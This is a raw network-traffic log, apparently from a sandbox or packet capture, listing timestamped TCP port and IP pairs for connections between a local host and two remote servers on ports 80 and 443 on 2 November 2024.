Nov 2, 2024 07:16:11.457237005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457247972 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457261086 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457288027 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457317114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457329035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457339048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457350016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457360983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457370043 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457392931 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457950115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457988977 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458007097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458018064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458028078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458054066 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458080053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458090067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458100080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458117008 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458117962 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458132982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458137035 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458143950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458184958 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458667040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458709002 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458710909 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458720922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458760023 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458777905 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458787918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458797932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458808899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458822966 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458843946 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458848953 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458854914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458869934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458882093 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458894014 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.458894968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.458920956 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459642887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459661961 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459672928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459685087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459709883 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459738016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459748030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459758997 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459770918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459781885 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459786892 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459811926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459831953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459850073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459861040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459872007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.459872007 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.459898949 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460629940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460639954 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460649967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460663080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460675001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460675955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460686922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460699081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460711956 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460716963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460721016 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460727930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460737944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460741997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460750103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460760117 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.460769892 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.460798979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.496556997 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496572018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496583939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496593952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496606112 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496615887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.496615887 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.496655941 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502202988 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502213001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502224922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502242088 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502253056 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502254963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502264977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502273083 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502304077 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502340078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502433062 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502441883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502453089 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502465010 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502474070 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502475977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.502490997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.502515078 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.560554028 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.562536955 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.562546015 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.562988997 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.562993050 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.577349901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577359915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577370882 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577421904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577428102 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577433109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577444077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577454090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577460051 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577491045 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577522039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577538967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577548981 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577560902 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577560902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577584982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577819109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577914953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577925920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577935934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577945948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577956915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577963114 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.577975035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577987909 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.577992916 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578001976 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578010082 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578013897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578025103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578037024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578043938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578063965 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578080893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578097105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578108072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578131914 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578142881 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578268051 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578279972 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578289032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578299999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578311920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578314066 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578322887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578335047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578346014 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578346014 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578357935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578362942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578368902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578385115 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578414917 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578692913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578704119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578721046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578731060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578741074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578744888 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578753948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578763008 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578764915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578792095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578800917 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578804016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578814983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578826904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.578830957 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.578855038 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579188108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579199076 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579209089 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579227924 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579257011 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579263926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579273939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579283953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579297066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579308987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579332113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579348087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579358101 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579370022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579380035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579391956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.579400063 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.579417944 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582421064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582432032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582448006 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582457066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582467079 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582470894 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582485914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582499027 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582513094 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582609892 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582621098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582631111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582643986 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582653999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582654953 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582664967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582678080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582681894 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582688093 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582700968 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582703114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582721949 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582739115 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.582945108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582961082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582972050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582978010 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.582983971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583039999 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583187103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583209038 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583219051 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583229065 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583262920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583276033 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583287001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583297014 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583308935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583323956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583333969 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583354950 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583617926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583630085 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583640099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583659887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583666086 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583673000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583683968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583689928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583698988 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583702087 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583724976 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583750963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583761930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583772898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583785057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583796024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583796978 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583807945 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583818913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.583826065 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583843946 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.583858013 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.584218025 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.584229946 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.584239960 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.584258080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.584264040 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.584269047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.584309101 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.618197918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.618222952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.618232965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.618244886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.618261099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.618418932 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.618418932 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.623760939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623770952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623836994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.623846054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623862982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623881102 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623891115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623902082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623912096 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623927116 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.623930931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623943090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623953104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.623961926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.623987913 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.624010086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.624020100 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.624032021 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.624043941 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.624061108 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.624092102 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.692296982 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.692338943 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.692503929 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.692636967 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.692643881 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.692653894 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.692657948 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.695194960 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.695219040 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.695301056 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.695432901 CET	63812	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.695444107 CET	443	63812	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.698700905 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698714018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698730946 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698765039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698792934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698803902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698816061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698827982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698832989 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698843956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698853016 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698854923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698868990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698879957 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698884010 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698903084 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698931932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698942900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698952913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698964119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698971033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.698981047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698991060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.698996067 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699029922 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699136972 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699147940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699157953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699182987 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699202061 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699565887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699665070 CET	80	63806	208.109.77.116	192.168.2.4
